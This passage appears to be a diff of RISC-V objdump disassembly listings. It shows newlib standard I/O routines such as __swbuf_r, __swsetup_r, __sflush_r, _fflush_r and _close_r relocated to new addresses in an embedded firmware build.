-204049ca:	4480                	lw	s0,8(s1)
-204049cc:	b759                	j	20404952 <__swbuf_r+0x2a>
-204049ce:	00001797          	auipc	a5,0x1
-204049d2:	51e78793          	addi	a5,a5,1310 # 20405eec <__sf_fake_stderr>
-204049d6:	f6f41ee3          	bne	s0,a5,20404952 <__swbuf_r+0x2a>
-204049da:	44c0                	lw	s0,12(s1)
-204049dc:	bf9d                	j	20404952 <__swbuf_r+0x2a>
-204049de:	85a2                	mv	a1,s0
-204049e0:	8526                	mv	a0,s1
-204049e2:	2021                	jal	204049ea <__swsetup_r>
-204049e4:	dd3d                	beqz	a0,20404962 <__swbuf_r+0x3a>
-204049e6:	597d                	li	s2,-1
-204049e8:	b7d9                	j	204049ae <__swbuf_r+0x86>
+204035f2 <__sseek>:
+204035f2:	1141                	addi	sp,sp,-16
+204035f4:	c422                	sw	s0,8(sp)
+204035f6:	842e                	mv	s0,a1
+204035f8:	00e59583          	lh	a1,14(a1)
+204035fc:	c606                	sw	ra,12(sp)
+204035fe:	26f5                	jal	204039ea <_lseek_r>
+20403600:	57fd                	li	a5,-1
+20403602:	00c45703          	lhu	a4,12(s0)
+20403606:	00f51b63          	bne	a0,a5,2040361c <__sseek+0x2a>
+2040360a:	77fd                	lui	a5,0xfffff
+2040360c:	17fd                	addi	a5,a5,-1
+2040360e:	8ff9                	and	a5,a5,a4
+20403610:	00f41623          	sh	a5,12(s0)
+20403614:	40b2                	lw	ra,12(sp)
+20403616:	4422                	lw	s0,8(sp)
+20403618:	0141                	addi	sp,sp,16
+2040361a:	8082                	ret
+2040361c:	6785                	lui	a5,0x1
+2040361e:	8fd9                	or	a5,a5,a4
+20403620:	00f41623          	sh	a5,12(s0)
+20403624:	c868                	sw	a0,84(s0)
+20403626:	b7fd                	j	20403614 <__sseek+0x22>
 
-204049ea <__swsetup_r>:
-204049ea:	1141                	addi	sp,sp,-16
-204049ec:	c422                	sw	s0,8(sp)
-204049ee:	c226                	sw	s1,4(sp)
-204049f0:	c04a                	sw	s2,0(sp)
-204049f2:	c606                	sw	ra,12(sp)
-204049f4:	80c1a483          	lw	s1,-2036(gp) # 8000d87c <_impure_ptr>
-204049f8:	892a                	mv	s2,a0
-204049fa:	842e                	mv	s0,a1
-204049fc:	c491                	beqz	s1,20404a08 <__swsetup_r+0x1e>
-204049fe:	4c9c                	lw	a5,24(s1)
-20404a00:	e781                	bnez	a5,20404a08 <__swsetup_r+0x1e>
-20404a02:	8526                	mv	a0,s1
-20404a04:	8f8ff0ef          	jal	ra,20403afc <__sinit>
-20404a08:	00001797          	auipc	a5,0x1
-20404a0c:	50478793          	addi	a5,a5,1284 # 20405f0c <__sf_fake_stdin>
-20404a10:	02f41763          	bne	s0,a5,20404a3e <__swsetup_r+0x54>
-20404a14:	40c0                	lw	s0,4(s1)
-20404a16:	00c41783          	lh	a5,12(s0)
-20404a1a:	01079713          	slli	a4,a5,0x10
-20404a1e:	0087f693          	andi	a3,a5,8
-20404a22:	8341                	srli	a4,a4,0x10
-20404a24:	eab5                	bnez	a3,20404a98 <__swsetup_r+0xae>
-20404a26:	01077693          	andi	a3,a4,16
-20404a2a:	ea95                	bnez	a3,20404a5e <__swsetup_r+0x74>
-20404a2c:	4725                	li	a4,9
-20404a2e:	00e92023          	sw	a4,0(s2)
-20404a32:	0407e793          	ori	a5,a5,64
-20404a36:	00f41623          	sh	a5,12(s0)
-20404a3a:	557d                	li	a0,-1
-20404a3c:	a879                	j	20404ada <__swsetup_r+0xf0>
-20404a3e:	00001797          	auipc	a5,0x1
-20404a42:	4ee78793          	addi	a5,a5,1262 # 20405f2c <__sf_fake_stdout>
-20404a46:	00f41463          	bne	s0,a5,20404a4e <__swsetup_r+0x64>
-20404a4a:	4480                	lw	s0,8(s1)
-20404a4c:	b7e9                	j	20404a16 <__swsetup_r+0x2c>
-20404a4e:	00001797          	auipc	a5,0x1
-20404a52:	49e78793          	addi	a5,a5,1182 # 20405eec <__sf_fake_stderr>
-20404a56:	fcf410e3          	bne	s0,a5,20404a16 <__swsetup_r+0x2c>
-20404a5a:	44c0                	lw	s0,12(s1)
-20404a5c:	bf6d                	j	20404a16 <__swsetup_r+0x2c>
-20404a5e:	8b11                	andi	a4,a4,4
-20404a60:	c715                	beqz	a4,20404a8c <__swsetup_r+0xa2>
-20404a62:	584c                	lw	a1,52(s0)
-20404a64:	c991                	beqz	a1,20404a78 <__swsetup_r+0x8e>
-20404a66:	04440793          	addi	a5,s0,68
-20404a6a:	00f58563          	beq	a1,a5,20404a74 <__swsetup_r+0x8a>
-20404a6e:	854a                	mv	a0,s2
-20404a70:	a06ff0ef          	jal	ra,20403c76 <_free_r>
-20404a74:	02042a23          	sw	zero,52(s0)
-20404a78:	00c45783          	lhu	a5,12(s0)
-20404a7c:	00042223          	sw	zero,4(s0)
-20404a80:	fdb7f793          	andi	a5,a5,-37
-20404a84:	00f41623          	sh	a5,12(s0)
-20404a88:	481c                	lw	a5,16(s0)
-20404a8a:	c01c                	sw	a5,0(s0)
-20404a8c:	00c45783          	lhu	a5,12(s0)
-20404a90:	0087e793          	ori	a5,a5,8
-20404a94:	00f41623          	sh	a5,12(s0)
-20404a98:	481c                	lw	a5,16(s0)
-20404a9a:	ef81                	bnez	a5,20404ab2 <__swsetup_r+0xc8>
-20404a9c:	00c45783          	lhu	a5,12(s0)
-20404aa0:	20000713          	li	a4,512
-20404aa4:	2807f793          	andi	a5,a5,640
-20404aa8:	00e78563          	beq	a5,a4,20404ab2 <__swsetup_r+0xc8>
-20404aac:	85a2                	mv	a1,s0
-20404aae:	854a                	mv	a0,s2
-20404ab0:	2445                	jal	20404d50 <__smakebuf_r>
-20404ab2:	00c41783          	lh	a5,12(s0)
-20404ab6:	01079713          	slli	a4,a5,0x10
-20404aba:	0017f693          	andi	a3,a5,1
-20404abe:	8341                	srli	a4,a4,0x10
-20404ac0:	c29d                	beqz	a3,20404ae6 <__swsetup_r+0xfc>
-20404ac2:	4854                	lw	a3,20(s0)
-20404ac4:	00042423          	sw	zero,8(s0)
-20404ac8:	40d006b3          	neg	a3,a3
-20404acc:	cc14                	sw	a3,24(s0)
-20404ace:	4814                	lw	a3,16(s0)
-20404ad0:	4501                	li	a0,0
-20404ad2:	e681                	bnez	a3,20404ada <__swsetup_r+0xf0>
-20404ad4:	08077713          	andi	a4,a4,128
-20404ad8:	ff29                	bnez	a4,20404a32 <__swsetup_r+0x48>
-20404ada:	40b2                	lw	ra,12(sp)
-20404adc:	4422                	lw	s0,8(sp)
-20404ade:	4492                	lw	s1,4(sp)
-20404ae0:	4902                	lw	s2,0(sp)
-20404ae2:	0141                	addi	sp,sp,16
-20404ae4:	8082                	ret
-20404ae6:	00277693          	andi	a3,a4,2
-20404aea:	4601                	li	a2,0
-20404aec:	e291                	bnez	a3,20404af0 <__swsetup_r+0x106>
-20404aee:	4850                	lw	a2,20(s0)
-20404af0:	c410                	sw	a2,8(s0)
-20404af2:	bff1                	j	20404ace <__swsetup_r+0xe4>
+20403628 <__sclose>:
+20403628:	00e59583          	lh	a1,14(a1)
+2040362c:	a2e5                	j	20403814 <_close_r>
 
-20404af4 <_close_r>:
-20404af4:	1141                	addi	sp,sp,-16
-20404af6:	c422                	sw	s0,8(sp)
-20404af8:	842a                	mv	s0,a0
-20404afa:	852e                	mv	a0,a1
-20404afc:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404b00:	c606                	sw	ra,12(sp)
-20404b02:	81afe0ef          	jal	ra,20402b1c <_close>
-20404b06:	57fd                	li	a5,-1
-20404b08:	00f51663          	bne	a0,a5,20404b14 <_close_r+0x20>
-20404b0c:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404b10:	c391                	beqz	a5,20404b14 <_close_r+0x20>
-20404b12:	c01c                	sw	a5,0(s0)
-20404b14:	40b2                	lw	ra,12(sp)
-20404b16:	4422                	lw	s0,8(sp)
-20404b18:	0141                	addi	sp,sp,16
-20404b1a:	8082                	ret
+2040362e <strchr>:
+2040362e:	0ff5f593          	andi	a1,a1,255
+20403632:	00054783          	lbu	a5,0(a0)
+20403636:	c791                	beqz	a5,20403642 <strchr+0x14>
+20403638:	00b79363          	bne	a5,a1,2040363e <strchr+0x10>
+2040363c:	8082                	ret
+2040363e:	0505                	addi	a0,a0,1
+20403640:	bfcd                	j	20403632 <strchr+0x4>
+20403642:	c191                	beqz	a1,20403646 <strchr+0x18>
+20403644:	4501                	li	a0,0
+20403646:	8082                	ret
 
-20404b1c <__sflush_r>:
-20404b1c:	00c5d783          	lhu	a5,12(a1)
-20404b20:	1101                	addi	sp,sp,-32
-20404b22:	cc22                	sw	s0,24(sp)
-20404b24:	ca26                	sw	s1,20(sp)
-20404b26:	ce06                	sw	ra,28(sp)
-20404b28:	c84a                	sw	s2,16(sp)
-20404b2a:	c64e                	sw	s3,12(sp)
-20404b2c:	0087f713          	andi	a4,a5,8
-20404b30:	84aa                	mv	s1,a0
-20404b32:	842e                	mv	s0,a1
-20404b34:	e37d                	bnez	a4,20404c1a <__sflush_r+0xfe>
-20404b36:	41d8                	lw	a4,4(a1)
-20404b38:	00e04763          	bgtz	a4,20404b46 <__sflush_r+0x2a>
-20404b3c:	41b8                	lw	a4,64(a1)
-20404b3e:	00e04463          	bgtz	a4,20404b46 <__sflush_r+0x2a>
-20404b42:	4501                	li	a0,0
-20404b44:	a87d                	j	20404c02 <__sflush_r+0xe6>
-20404b46:	5458                	lw	a4,44(s0)
-20404b48:	df6d                	beqz	a4,20404b42 <__sflush_r+0x26>
-20404b4a:	6685                	lui	a3,0x1
-20404b4c:	0004a903          	lw	s2,0(s1)
-20404b50:	8ff5                	and	a5,a5,a3
-20404b52:	0004a023          	sw	zero,0(s1)
-20404b56:	cfad                	beqz	a5,20404bd0 <__sflush_r+0xb4>
-20404b58:	4868                	lw	a0,84(s0)
-20404b5a:	00c45783          	lhu	a5,12(s0)
-20404b5e:	8b91                	andi	a5,a5,4
-20404b60:	c799                	beqz	a5,20404b6e <__sflush_r+0x52>
-20404b62:	405c                	lw	a5,4(s0)
-20404b64:	8d1d                	sub	a0,a0,a5
-20404b66:	585c                	lw	a5,52(s0)
-20404b68:	c399                	beqz	a5,20404b6e <__sflush_r+0x52>
-20404b6a:	403c                	lw	a5,64(s0)
-20404b6c:	8d1d                	sub	a0,a0,a5
-20404b6e:	545c                	lw	a5,44(s0)
-20404b70:	500c                	lw	a1,32(s0)
-20404b72:	862a                	mv	a2,a0
-20404b74:	4681                	li	a3,0
-20404b76:	8526                	mv	a0,s1
-20404b78:	9782                	jalr	a5
-20404b7a:	57fd                	li	a5,-1
-20404b7c:	00c45703          	lhu	a4,12(s0)
-20404b80:	00f51d63          	bne	a0,a5,20404b9a <__sflush_r+0x7e>
-20404b84:	4094                	lw	a3,0(s1)
-20404b86:	47f5                	li	a5,29
-20404b88:	08d7e463          	bltu	a5,a3,20404c10 <__sflush_r+0xf4>
-20404b8c:	204007b7          	lui	a5,0x20400
-20404b90:	0785                	addi	a5,a5,1
-20404b92:	00d7d7b3          	srl	a5,a5,a3
-20404b96:	8b85                	andi	a5,a5,1
-20404b98:	cfa5                	beqz	a5,20404c10 <__sflush_r+0xf4>
-20404b9a:	481c                	lw	a5,16(s0)
-20404b9c:	00042223          	sw	zero,4(s0)
-20404ba0:	c01c                	sw	a5,0(s0)
-20404ba2:	6785                	lui	a5,0x1
-20404ba4:	8f7d                	and	a4,a4,a5
-20404ba6:	c719                	beqz	a4,20404bb4 <__sflush_r+0x98>
-20404ba8:	57fd                	li	a5,-1
-20404baa:	00f51463          	bne	a0,a5,20404bb2 <__sflush_r+0x96>
-20404bae:	409c                	lw	a5,0(s1)
-20404bb0:	e391                	bnez	a5,20404bb4 <__sflush_r+0x98>
-20404bb2:	c868                	sw	a0,84(s0)
-20404bb4:	584c                	lw	a1,52(s0)
-20404bb6:	0124a023          	sw	s2,0(s1)
-20404bba:	d5c1                	beqz	a1,20404b42 <__sflush_r+0x26>
-20404bbc:	04440793          	addi	a5,s0,68
-20404bc0:	00f58563          	beq	a1,a5,20404bca <__sflush_r+0xae>
-20404bc4:	8526                	mv	a0,s1
-20404bc6:	8b0ff0ef          	jal	ra,20403c76 <_free_r>
-20404bca:	02042a23          	sw	zero,52(s0)
-20404bce:	bf95                	j	20404b42 <__sflush_r+0x26>
-20404bd0:	500c                	lw	a1,32(s0)
-20404bd2:	4685                	li	a3,1
-20404bd4:	4601                	li	a2,0
-20404bd6:	8526                	mv	a0,s1
-20404bd8:	9702                	jalr	a4
-20404bda:	57fd                	li	a5,-1
-20404bdc:	f6f51fe3          	bne	a0,a5,20404b5a <__sflush_r+0x3e>
-20404be0:	409c                	lw	a5,0(s1)
-20404be2:	dfa5                	beqz	a5,20404b5a <__sflush_r+0x3e>
-20404be4:	4775                	li	a4,29
-20404be6:	00e78563          	beq	a5,a4,20404bf0 <__sflush_r+0xd4>
-20404bea:	4759                	li	a4,22
-20404bec:	00e79563          	bne	a5,a4,20404bf6 <__sflush_r+0xda>
-20404bf0:	0124a023          	sw	s2,0(s1)
-20404bf4:	b7b9                	j	20404b42 <__sflush_r+0x26>
-20404bf6:	00c45783          	lhu	a5,12(s0)
-20404bfa:	0407e793          	ori	a5,a5,64
-20404bfe:	00f41623          	sh	a5,12(s0)
-20404c02:	40f2                	lw	ra,28(sp)
-20404c04:	4462                	lw	s0,24(sp)
-20404c06:	44d2                	lw	s1,20(sp)
-20404c08:	4942                	lw	s2,16(sp)
-20404c0a:	49b2                	lw	s3,12(sp)
-20404c0c:	6105                	addi	sp,sp,32
-20404c0e:	8082                	ret
-20404c10:	04076713          	ori	a4,a4,64
-20404c14:	00e41623          	sh	a4,12(s0)
-20404c18:	b7ed                	j	20404c02 <__sflush_r+0xe6>
-20404c1a:	0105a983          	lw	s3,16(a1)
-20404c1e:	f20982e3          	beqz	s3,20404b42 <__sflush_r+0x26>
-20404c22:	0005a903          	lw	s2,0(a1)
-20404c26:	8b8d                	andi	a5,a5,3
-20404c28:	0135a023          	sw	s3,0(a1)
-20404c2c:	41390933          	sub	s2,s2,s3
-20404c30:	4701                	li	a4,0
-20404c32:	e391                	bnez	a5,20404c36 <__sflush_r+0x11a>
-20404c34:	49d8                	lw	a4,20(a1)
-20404c36:	c418                	sw	a4,8(s0)
-20404c38:	f12055e3          	blez	s2,20404b42 <__sflush_r+0x26>
-20404c3c:	541c                	lw	a5,40(s0)
-20404c3e:	500c                	lw	a1,32(s0)
-20404c40:	86ca                	mv	a3,s2
-20404c42:	864e                	mv	a2,s3
-20404c44:	8526                	mv	a0,s1
-20404c46:	9782                	jalr	a5
-20404c48:	00a04a63          	bgtz	a0,20404c5c <__sflush_r+0x140>
-20404c4c:	00c45783          	lhu	a5,12(s0)
-20404c50:	557d                	li	a0,-1
-20404c52:	0407e793          	ori	a5,a5,64
-20404c56:	00f41623          	sh	a5,12(s0)
-20404c5a:	b765                	j	20404c02 <__sflush_r+0xe6>
-20404c5c:	99aa                	add	s3,s3,a0
-20404c5e:	40a90933          	sub	s2,s2,a0
-20404c62:	bfd9                	j	20404c38 <__sflush_r+0x11c>
+20403648 <__swbuf_r>:
+20403648:	1101                	addi	sp,sp,-32
+2040364a:	cc22                	sw	s0,24(sp)
+2040364c:	ca26                	sw	s1,20(sp)
+2040364e:	c84a                	sw	s2,16(sp)
+20403650:	ce06                	sw	ra,28(sp)
+20403652:	c64e                	sw	s3,12(sp)
+20403654:	84aa                	mv	s1,a0
+20403656:	892e                	mv	s2,a1
+20403658:	8432                	mv	s0,a2
+2040365a:	c509                	beqz	a0,20403664 <__swbuf_r+0x1c>
+2040365c:	4d1c                	lw	a5,24(a0)
+2040365e:	e399                	bnez	a5,20403664 <__swbuf_r+0x1c>
+20403660:	b60ff0ef          	jal	ra,204029c0 <__sinit>
+20403664:	00001797          	auipc	a5,0x1
+20403668:	de878793          	addi	a5,a5,-536 # 2040444c <__sf_fake_stdin>
+2040366c:	06f41963          	bne	s0,a5,204036de <__swbuf_r+0x96>
+20403670:	40c0                	lw	s0,4(s1)
+20403672:	4c1c                	lw	a5,24(s0)
+20403674:	c41c                	sw	a5,8(s0)
+20403676:	00c45783          	lhu	a5,12(s0)
+2040367a:	8ba1                	andi	a5,a5,8
+2040367c:	c3c9                	beqz	a5,204036fe <__swbuf_r+0xb6>
+2040367e:	481c                	lw	a5,16(s0)
+20403680:	cfbd                	beqz	a5,204036fe <__swbuf_r+0xb6>
+20403682:	481c                	lw	a5,16(s0)
+20403684:	4008                	lw	a0,0(s0)
+20403686:	0ff97993          	andi	s3,s2,255
+2040368a:	0ff97913          	andi	s2,s2,255
+2040368e:	8d1d                	sub	a0,a0,a5
+20403690:	485c                	lw	a5,20(s0)
+20403692:	00f54663          	blt	a0,a5,2040369e <__swbuf_r+0x56>
+20403696:	85a2                	mv	a1,s0
+20403698:	8526                	mv	a0,s1
+2040369a:	24ed                	jal	20403984 <_fflush_r>
+2040369c:	e52d                	bnez	a0,20403706 <__swbuf_r+0xbe>
+2040369e:	441c                	lw	a5,8(s0)
+204036a0:	0505                	addi	a0,a0,1
+204036a2:	17fd                	addi	a5,a5,-1
+204036a4:	c41c                	sw	a5,8(s0)
+204036a6:	401c                	lw	a5,0(s0)
+204036a8:	00178713          	addi	a4,a5,1
+204036ac:	c018                	sw	a4,0(s0)
+204036ae:	01378023          	sb	s3,0(a5)
+204036b2:	485c                	lw	a5,20(s0)
+204036b4:	00a78963          	beq	a5,a0,204036c6 <__swbuf_r+0x7e>
+204036b8:	00c45783          	lhu	a5,12(s0)
+204036bc:	8b85                	andi	a5,a5,1
+204036be:	cb81                	beqz	a5,204036ce <__swbuf_r+0x86>
+204036c0:	47a9                	li	a5,10
+204036c2:	00f91663          	bne	s2,a5,204036ce <__swbuf_r+0x86>
+204036c6:	85a2                	mv	a1,s0
+204036c8:	8526                	mv	a0,s1
+204036ca:	2c6d                	jal	20403984 <_fflush_r>
+204036cc:	ed0d                	bnez	a0,20403706 <__swbuf_r+0xbe>
+204036ce:	40f2                	lw	ra,28(sp)
+204036d0:	4462                	lw	s0,24(sp)
+204036d2:	44d2                	lw	s1,20(sp)
+204036d4:	49b2                	lw	s3,12(sp)
+204036d6:	854a                	mv	a0,s2
+204036d8:	4942                	lw	s2,16(sp)
+204036da:	6105                	addi	sp,sp,32
+204036dc:	8082                	ret
+204036de:	00001797          	auipc	a5,0x1
+204036e2:	d8e78793          	addi	a5,a5,-626 # 2040446c <__sf_fake_stdout>
+204036e6:	00f41463          	bne	s0,a5,204036ee <__swbuf_r+0xa6>
+204036ea:	4480                	lw	s0,8(s1)
+204036ec:	b759                	j	20403672 <__swbuf_r+0x2a>
+204036ee:	00001797          	auipc	a5,0x1
+204036f2:	d3e78793          	addi	a5,a5,-706 # 2040442c <__sf_fake_stderr>
+204036f6:	f6f41ee3          	bne	s0,a5,20403672 <__swbuf_r+0x2a>
+204036fa:	44c0                	lw	s0,12(s1)
+204036fc:	bf9d                	j	20403672 <__swbuf_r+0x2a>
+204036fe:	85a2                	mv	a1,s0
+20403700:	8526                	mv	a0,s1
+20403702:	2021                	jal	2040370a <__swsetup_r>
+20403704:	dd3d                	beqz	a0,20403682 <__swbuf_r+0x3a>
+20403706:	597d                	li	s2,-1
+20403708:	b7d9                	j	204036ce <__swbuf_r+0x86>
 
-20404c64 <_fflush_r>:
-20404c64:	499c                	lw	a5,16(a1)
-20404c66:	c3a5                	beqz	a5,20404cc6 <_fflush_r+0x62>
-20404c68:	1101                	addi	sp,sp,-32
-20404c6a:	cc22                	sw	s0,24(sp)
-20404c6c:	ce06                	sw	ra,28(sp)
-20404c6e:	842a                	mv	s0,a0
-20404c70:	c519                	beqz	a0,20404c7e <_fflush_r+0x1a>
-20404c72:	4d1c                	lw	a5,24(a0)
-20404c74:	e789                	bnez	a5,20404c7e <_fflush_r+0x1a>
-20404c76:	c62e                	sw	a1,12(sp)
-20404c78:	e85fe0ef          	jal	ra,20403afc <__sinit>
-20404c7c:	45b2                	lw	a1,12(sp)
-20404c7e:	00001797          	auipc	a5,0x1
-20404c82:	28e78793          	addi	a5,a5,654 # 20405f0c <__sf_fake_stdin>
-20404c86:	00f59b63          	bne	a1,a5,20404c9c <_fflush_r+0x38>
-20404c8a:	404c                	lw	a1,4(s0)
-20404c8c:	00c59783          	lh	a5,12(a1)
-20404c90:	c795                	beqz	a5,20404cbc <_fflush_r+0x58>
-20404c92:	8522                	mv	a0,s0
-20404c94:	4462                	lw	s0,24(sp)
-20404c96:	40f2                	lw	ra,28(sp)
-20404c98:	6105                	addi	sp,sp,32
-20404c9a:	b549                	j	20404b1c <__sflush_r>
-20404c9c:	00001797          	auipc	a5,0x1
-20404ca0:	29078793          	addi	a5,a5,656 # 20405f2c <__sf_fake_stdout>
-20404ca4:	00f59463          	bne	a1,a5,20404cac <_fflush_r+0x48>
-20404ca8:	440c                	lw	a1,8(s0)
-20404caa:	b7cd                	j	20404c8c <_fflush_r+0x28>
-20404cac:	00001797          	auipc	a5,0x1
-20404cb0:	24078793          	addi	a5,a5,576 # 20405eec <__sf_fake_stderr>
-20404cb4:	fcf59ce3          	bne	a1,a5,20404c8c <_fflush_r+0x28>
-20404cb8:	444c                	lw	a1,12(s0)
-20404cba:	bfc9                	j	20404c8c <_fflush_r+0x28>
-20404cbc:	40f2                	lw	ra,28(sp)
-20404cbe:	4462                	lw	s0,24(sp)
-20404cc0:	4501                	li	a0,0
-20404cc2:	6105                	addi	sp,sp,32
-20404cc4:	8082                	ret
-20404cc6:	4501                	li	a0,0
-20404cc8:	8082                	ret
+2040370a <__swsetup_r>:
+2040370a:	1141                	addi	sp,sp,-16
+2040370c:	c422                	sw	s0,8(sp)
+2040370e:	c226                	sw	s1,4(sp)
+20403710:	c04a                	sw	s2,0(sp)
+20403712:	c606                	sw	ra,12(sp)
+20403714:	8141a483          	lw	s1,-2028(gp) # 8000d874 <_impure_ptr>
+20403718:	892a                	mv	s2,a0
+2040371a:	842e                	mv	s0,a1
+2040371c:	c491                	beqz	s1,20403728 <__swsetup_r+0x1e>
+2040371e:	4c9c                	lw	a5,24(s1)
+20403720:	e781                	bnez	a5,20403728 <__swsetup_r+0x1e>
+20403722:	8526                	mv	a0,s1
+20403724:	a9cff0ef          	jal	ra,204029c0 <__sinit>
+20403728:	00001797          	auipc	a5,0x1
+2040372c:	d2478793          	addi	a5,a5,-732 # 2040444c <__sf_fake_stdin>
+20403730:	02f41763          	bne	s0,a5,2040375e <__swsetup_r+0x54>
+20403734:	40c0                	lw	s0,4(s1)
+20403736:	00c41783          	lh	a5,12(s0)
+2040373a:	01079713          	slli	a4,a5,0x10
+2040373e:	0087f693          	andi	a3,a5,8
+20403742:	8341                	srli	a4,a4,0x10
+20403744:	eab5                	bnez	a3,204037b8 <__swsetup_r+0xae>
+20403746:	01077693          	andi	a3,a4,16
+2040374a:	ea95                	bnez	a3,2040377e <__swsetup_r+0x74>
+2040374c:	4725                	li	a4,9
+2040374e:	00e92023          	sw	a4,0(s2)
+20403752:	0407e793          	ori	a5,a5,64
+20403756:	00f41623          	sh	a5,12(s0)
+2040375a:	557d                	li	a0,-1
+2040375c:	a879                	j	204037fa <__swsetup_r+0xf0>
+2040375e:	00001797          	auipc	a5,0x1
+20403762:	d0e78793          	addi	a5,a5,-754 # 2040446c <__sf_fake_stdout>
+20403766:	00f41463          	bne	s0,a5,2040376e <__swsetup_r+0x64>
+2040376a:	4480                	lw	s0,8(s1)
+2040376c:	b7e9                	j	20403736 <__swsetup_r+0x2c>
+2040376e:	00001797          	auipc	a5,0x1
+20403772:	cbe78793          	addi	a5,a5,-834 # 2040442c <__sf_fake_stderr>
+20403776:	fcf410e3          	bne	s0,a5,20403736 <__swsetup_r+0x2c>
+2040377a:	44c0                	lw	s0,12(s1)
+2040377c:	bf6d                	j	20403736 <__swsetup_r+0x2c>
+2040377e:	8b11                	andi	a4,a4,4
+20403780:	c715                	beqz	a4,204037ac <__swsetup_r+0xa2>
+20403782:	584c                	lw	a1,52(s0)
+20403784:	c991                	beqz	a1,20403798 <__swsetup_r+0x8e>
+20403786:	04440793          	addi	a5,s0,68
+2040378a:	00f58563          	beq	a1,a5,20403794 <__swsetup_r+0x8a>
+2040378e:	854a                	mv	a0,s2
+20403790:	cf5fe0ef          	jal	ra,20402484 <_free_r>
+20403794:	02042a23          	sw	zero,52(s0)
+20403798:	00c45783          	lhu	a5,12(s0)
+2040379c:	00042223          	sw	zero,4(s0)
+204037a0:	fdb7f793          	andi	a5,a5,-37
+204037a4:	00f41623          	sh	a5,12(s0)
+204037a8:	481c                	lw	a5,16(s0)
+204037aa:	c01c                	sw	a5,0(s0)
+204037ac:	00c45783          	lhu	a5,12(s0)
+204037b0:	0087e793          	ori	a5,a5,8
+204037b4:	00f41623          	sh	a5,12(s0)
+204037b8:	481c                	lw	a5,16(s0)
+204037ba:	ef81                	bnez	a5,204037d2 <__swsetup_r+0xc8>
+204037bc:	00c45783          	lhu	a5,12(s0)
+204037c0:	20000713          	li	a4,512
+204037c4:	2807f793          	andi	a5,a5,640
+204037c8:	00e78563          	beq	a5,a4,204037d2 <__swsetup_r+0xc8>
+204037cc:	85a2                	mv	a1,s0
+204037ce:	854a                	mv	a0,s2
+204037d0:	2445                	jal	20403a70 <__smakebuf_r>
+204037d2:	00c41783          	lh	a5,12(s0)
+204037d6:	01079713          	slli	a4,a5,0x10
+204037da:	0017f693          	andi	a3,a5,1
+204037de:	8341                	srli	a4,a4,0x10
+204037e0:	c29d                	beqz	a3,20403806 <__swsetup_r+0xfc>
+204037e2:	4854                	lw	a3,20(s0)
+204037e4:	00042423          	sw	zero,8(s0)
+204037e8:	40d006b3          	neg	a3,a3
+204037ec:	cc14                	sw	a3,24(s0)
+204037ee:	4814                	lw	a3,16(s0)
+204037f0:	4501                	li	a0,0
+204037f2:	e681                	bnez	a3,204037fa <__swsetup_r+0xf0>
+204037f4:	08077713          	andi	a4,a4,128
+204037f8:	ff29                	bnez	a4,20403752 <__swsetup_r+0x48>
+204037fa:	40b2                	lw	ra,12(sp)
+204037fc:	4422                	lw	s0,8(sp)
+204037fe:	4492                	lw	s1,4(sp)
+20403800:	4902                	lw	s2,0(sp)
+20403802:	0141                	addi	sp,sp,16
+20403804:	8082                	ret
+20403806:	00277693          	andi	a3,a4,2
+2040380a:	4601                	li	a2,0
+2040380c:	e291                	bnez	a3,20403810 <__swsetup_r+0x106>
+2040380e:	4850                	lw	a2,20(s0)
+20403810:	c410                	sw	a2,8(s0)
+20403812:	bff1                	j	204037ee <__swsetup_r+0xe4>
 
-20404cca <_lseek_r>:
-20404cca:	1141                	addi	sp,sp,-16
-20404ccc:	c422                	sw	s0,8(sp)
-20404cce:	842a                	mv	s0,a0
-20404cd0:	852e                	mv	a0,a1
-20404cd2:	85b2                	mv	a1,a2
-20404cd4:	8636                	mv	a2,a3
-20404cd6:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404cda:	c606                	sw	ra,12(sp)
-20404cdc:	e75fd0ef          	jal	ra,20402b50 <_lseek>
-20404ce0:	57fd                	li	a5,-1
-20404ce2:	00f51663          	bne	a0,a5,20404cee <_lseek_r+0x24>
-20404ce6:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404cea:	c391                	beqz	a5,20404cee <_lseek_r+0x24>
-20404cec:	c01c                	sw	a5,0(s0)
-20404cee:	40b2                	lw	ra,12(sp)
-20404cf0:	4422                	lw	s0,8(sp)
-20404cf2:	0141                	addi	sp,sp,16
-20404cf4:	8082                	ret
+20403814 <_close_r>:
+20403814:	1141                	addi	sp,sp,-16
+20403816:	c422                	sw	s0,8(sp)
+20403818:	842a                	mv	s0,a0
+2040381a:	852e                	mv	a0,a1
+2040381c:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403820:	c606                	sw	ra,12(sp)
+20403822:	a77fe0ef          	jal	ra,20402298 <_close>
+20403826:	57fd                	li	a5,-1
+20403828:	00f51663          	bne	a0,a5,20403834 <_close_r+0x20>
+2040382c:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403830:	c391                	beqz	a5,20403834 <_close_r+0x20>
+20403832:	c01c                	sw	a5,0(s0)
+20403834:	40b2                	lw	ra,12(sp)
+20403836:	4422                	lw	s0,8(sp)
+20403838:	0141                	addi	sp,sp,16
+2040383a:	8082                	ret
 
-20404cf6 <__swhatbuf_r>:
-20404cf6:	7159                	addi	sp,sp,-112
-20404cf8:	d0ca                	sw	s2,96(sp)
-20404cfa:	892e                	mv	s2,a1
-20404cfc:	00e59583          	lh	a1,14(a1)
-20404d00:	d4a2                	sw	s0,104(sp)
-20404d02:	d2a6                	sw	s1,100(sp)
-20404d04:	d686                	sw	ra,108(sp)
-20404d06:	8432                	mv	s0,a2
-20404d08:	84b6                	mv	s1,a3
-20404d0a:	0005dc63          	bgez	a1,20404d22 <__swhatbuf_r+0x2c>
-20404d0e:	00c91783          	lh	a5,12(s2)
-20404d12:	0004a023          	sw	zero,0(s1)
-20404d16:	0807f793          	andi	a5,a5,128
-20404d1a:	e38d                	bnez	a5,20404d3c <__swhatbuf_r+0x46>
-20404d1c:	40000793          	li	a5,1024
-20404d20:	a005                	j	20404d40 <__swhatbuf_r+0x4a>
-20404d22:	0030                	addi	a2,sp,8
-20404d24:	22b1                	jal	20404e70 <_fstat_r>
-20404d26:	fe0544e3          	bltz	a0,20404d0e <__swhatbuf_r+0x18>
-20404d2a:	4732                	lw	a4,12(sp)
-20404d2c:	67bd                	lui	a5,0xf
-20404d2e:	8ff9                	and	a5,a5,a4
-20404d30:	7779                	lui	a4,0xffffe
-20404d32:	97ba                	add	a5,a5,a4
-20404d34:	0017b793          	seqz	a5,a5
